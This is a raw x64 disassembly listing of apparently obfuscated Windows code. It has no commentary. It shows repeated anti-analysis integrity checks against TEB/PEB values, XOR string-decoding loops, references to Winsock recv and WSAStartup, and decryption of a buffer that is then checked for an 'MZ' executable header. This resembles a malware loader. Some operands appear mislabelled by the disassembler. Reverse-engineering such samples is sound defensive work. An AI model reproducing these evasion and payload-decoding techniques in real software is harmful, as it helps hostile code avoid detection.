xor rdi, rdx
test r8d, r8d
jne 0x140041a59
mov rax, rdi
xor rax, rdi
mov r13d, 0xdb9fe8e7
xor rax, r13
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r13
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140041f7b
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x140041b07
movabs r13, 0x3cb4862e21
test rsi, rsi
je 0x140041b8b
test r12, r12
jne 0x140041f9c
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
jne 0x140041cc5
mov rdi, rbx
mov rcx, r11
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx eax, dil
xor r8, rax
add rcx, r11
sub r9, r11
jne 0x140041bb5
xor r8, 0x232356cd
mov rcx, r8
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r10d, 0xdb9fe8e7
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd10]
and rcx, rdx
mov rax, qword [rbp + 0xd18]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140041f86
add edi, r11d
cmp edi, 7
jl 0x140041c56
movdqa xmm0, xmmword [0x140109ed0]
movdqu xmmword [rbp + 0xa48], xmm0
movdqa xmm1, xmmword [0x14010a170]
movdqu xmmword [rbp + 0xa58], xmm1
movdqa xmm0, xmmword [0x14010a090]
movdqu xmmword [rbp + 0xa68], xmm0
mov byte [rbp + 0xa78], WSAStartup
mov byte [rbp + 0xa79], Ordinal_46
mov byte [rbp + 0xa7a], Ordinal_33
mov byte [rbp + 0xa7b], 0xb4
mov byte [rbp + 0xa7c], 0xf5
mov byte [rbp + 0xa7d], 0x78
mov byte [rbp + 0xa7e], 0xb9
mov byte [rbp + 0xa7f], recv
mov byte [rbp + 0xa80], 0xf8
mov byte [rbp + 0xa81], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xa82], Ordinal_211
mov byte [rbp + 0xa83], Ordinal_211
mov byte [rbp + 0xa84], 0x57
xor eax, eax
mov byte [rbp + 0xa85], al
mov r8, rbx
mov r9, r13
movabs rsi, 0x79690c5c42
lea r10d, [rax + 0x3d]
movabs r12, 0x8080808080808081
mov r15d, 0xfec33fb5
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r12
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xa48], dil
add r8, r11
add r9, r15
add r10, 0x3d
cmp r9, rsi
jb 0x140041d82
mov byte [rbp + 0xa85], bl
mov r8d, r11d
xor edx, edx
lea rcx, [rbp + 0xa48]
call fcn.140039734
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
mov r12, qword [rsp + 0x60]
movabs r13, 0x3cb4862e21
mov rsi, qword [rbp + 0x30]
mov r15d, 0xdb9fe8f7
jne 0x140041fa2
mov r10, r14
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x140041e43
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r10, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp + 0x30]
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140041f91
inc edi
cmp edi, 5
jl 0x140041f0b
jmp 0x140041fa2
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov r11d, 0xdb9fe8e7
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x1400420d0
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x140041fc6
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14004239d
inc edi
cmp edi, 7
jl 0x140042069
lea rcx, [rbp + 0x1030]
call fcn.1400517f0
mov rdi, rax
lea rcx, [rbp + 0x1030]
call fcn.1400517f8
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400e40e0
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x14004225b
mov r8, r14
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, rsi
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14004212d
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r8, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp + 0x30]
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400423a8
inc edi
cmp edi, 5
jl 0x1400421f4
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x1400423be
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9, r15
movabs r15, 0x2aaaaaaaaaaaaaab
movabs r10, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400422cb
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14004228d
mov rax, rdi
xor rax, rdi
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400423b3
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140042334
jmp 0x1400423c8
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
movabs r15, 0x2aaaaaaaaaaaaaab
lea rcx, [rbp + 0x1030]
call fcn.140051880
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
mov r11d, 1
cmp rax, r10
jne 0x14004253c
mov r8, r14
mov rdi, rbx
mov r9d, ebx
mov esi, r10d
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
add r9d, r11d
add r10, r11
cmp r9d, 8
jl 0x140042404
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
mov r10, rsi
lea rcx, [r8 + rsi]
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r14d, 0xdeadbeef
or rax, r14
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp + 0x30]
movsxd rcx, edi
add rcx, r10
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140042531
add edi, r11d
cmp edi, 5
jl 0x1400424cb
jmp 0x140042542
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r14d, 0xdeadbeef
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14004266b
mov r8, rbx
mov rcx, r11
mov r9d, 5
mov r15d, 0xbd2ec3eb
mov rax, r15
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r11
sub r9, r11
jne 0x140042566
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r14
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r15, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140042fdb
add edi, r11d
cmp edi, 7
jl 0x140042603
movabs rax, 0xaa3266487a0948
mov qword [rbp + 0x38], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0xe68], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x38]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0x40]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe68], cl
add rdi, r11
cmp r8d, 8
jb 0x140042694
mov r14d, ebx
test r12, r12
je 0x1400427b5
mov rcx, rbx
movabs r13, 0x8080808080808081
mov rax, r13
mul r12
mov r8, rdx
shr r8, 7
add r8b, r12b
mov r9, rsi
and ecx, 7
movzx edi, byte [rbp + rcx + 0xe68]
mov sil, r8b
xor sil, dil
mov r15d, edi
mov r10d, ebx
lea r11, [rbp + 0xe68]
movzx ecx, byte [r11]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xe68]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r10d
inc r11
cmp r10d, 8
jb 0x14004271f
movzx ecx, sil
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
mov r11d, 1
add r14d, r11d
add r9, r11
movsxd rcx, r14d
cmp rcx, r12
jb 0x140042701
movabs r13, 0x3cb4862e21
mov rsi, qword [rbp + 0x30]
mov r10d, 0xdb9fe8e7
mov rax, qword gs:[0xd]
mov r12d, reloc.WS2_32.dll_recv
mov r15d, 0xdb9fe8f7
cmp rax, r10
jne 0x140042918
mov rdi, rbx
mov r8d, r12d
mov r9d, r15d
movabs rsi, 0xc9120f8b6b5ff569
movabs r10, 0x2aaaaaaaaaaaaaab
sub r8d, r11d
sub r9, r11
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140042830
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400427f0
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
mov rsi, qword [rbp + 0x30]
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140042fe6
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x1400428ac
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x140042a8c
mov r10d, 0x9e0d9526
mov rdi, rbx
mov r8d, ebx
mov esi, 0xdb9fe8e7
mov r9d, esi
movabs r13, 0x2aaaaaaaaaaaaaab
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r11d
add r9, r11
cmp r8d, 8
jl 0x14004294e
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
mov r10, rsi
add rcx, rsi
mov r8, r13
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0x3cb4862e21
mov rsi, qword [rbp + 0x30]
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140042ff1
add edi, r11d
cmp edi, 5
jl 0x140042a24
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x140042be3
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
movabs r10, 0x2aaaaaaaaaaaaaab
sub r8d, r11d
sub r9, r11
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140042afb
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140042abb
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
mov rsi, qword [rbp + 0x30]
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140042ffc
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x140042b77
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x14004301d
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x140042d25
mov rdi, rbx
mov rcx, r11
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx eax, dil
xor r8, rax
add rcx, r11
sub r9, r11
jne 0x140042c15
xor r8, 0x232356cd
mov rcx, r8
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r10d, 0xdb9fe8e7
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140043007
add edi, r11d
cmp edi, 7
jl 0x140042cb6
movdqa xmm0, xmmword [0x140109ed0]
movdqu xmmword [rbp + 0xa88], xmm0
movdqa xmm1, xmmword [0x14010a160]
movdqu xmmword [rbp + 0xa98], xmm1
movdqa xmm0, xmmword [0x14010a090]
movdqu xmmword [rbp + 0xaa8], xmm0
mov byte [rbp + 0xab8], WSAStartup
mov byte [rbp + 0xab9], Ordinal_46
mov byte [rbp + 0xaba], Ordinal_33
mov byte [rbp + 0xabb], 0xb4
mov byte [rbp + 0xabc], 0xf5
mov byte [rbp + 0xabd], 0x78
mov byte [rbp + 0xabe], 0xb9
mov byte [rbp + 0xabf], recv
mov byte [rbp + 0xac0], 0xf8
mov byte [rbp + 0xac1], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xac2], Ordinal_211
mov byte [rbp + 0xac3], Ordinal_211
mov byte [rbp + 0xac4], 0x57
xor eax, eax
mov byte [rbp + 0xac5], al
mov r8, rbx
mov r9, r13
movabs rsi, 0x79690c5c42
lea r10d, [rax + 0x3d]
movabs r15, 0x8080808080808081
mov r13d, 0xfec33fb5
mov r14d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xa88], dil
add r8, r11
add r9, r13
add r10, 0x3d
cmp r9, rsi
jb 0x140042de2
mov byte [rbp + 0xac5], bl
mov r8d, r11d
xor edx, edx
lea rcx, [rbp + 0xa88]
call fcn.140039734
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
movabs r13, 0x3cb4862e21
mov rsi, qword [rbp + 0x30]
mov r14d, 0x9e0d9526
mov r15d, 0xdb9fe8f7
jne 0x140043023
mov r8d, r14d
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r14d, 1
mov r13d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, rsi
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x140042eaa
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r10, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0x3cb4862e21
mov rsi, qword [rbp + 0x30]
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
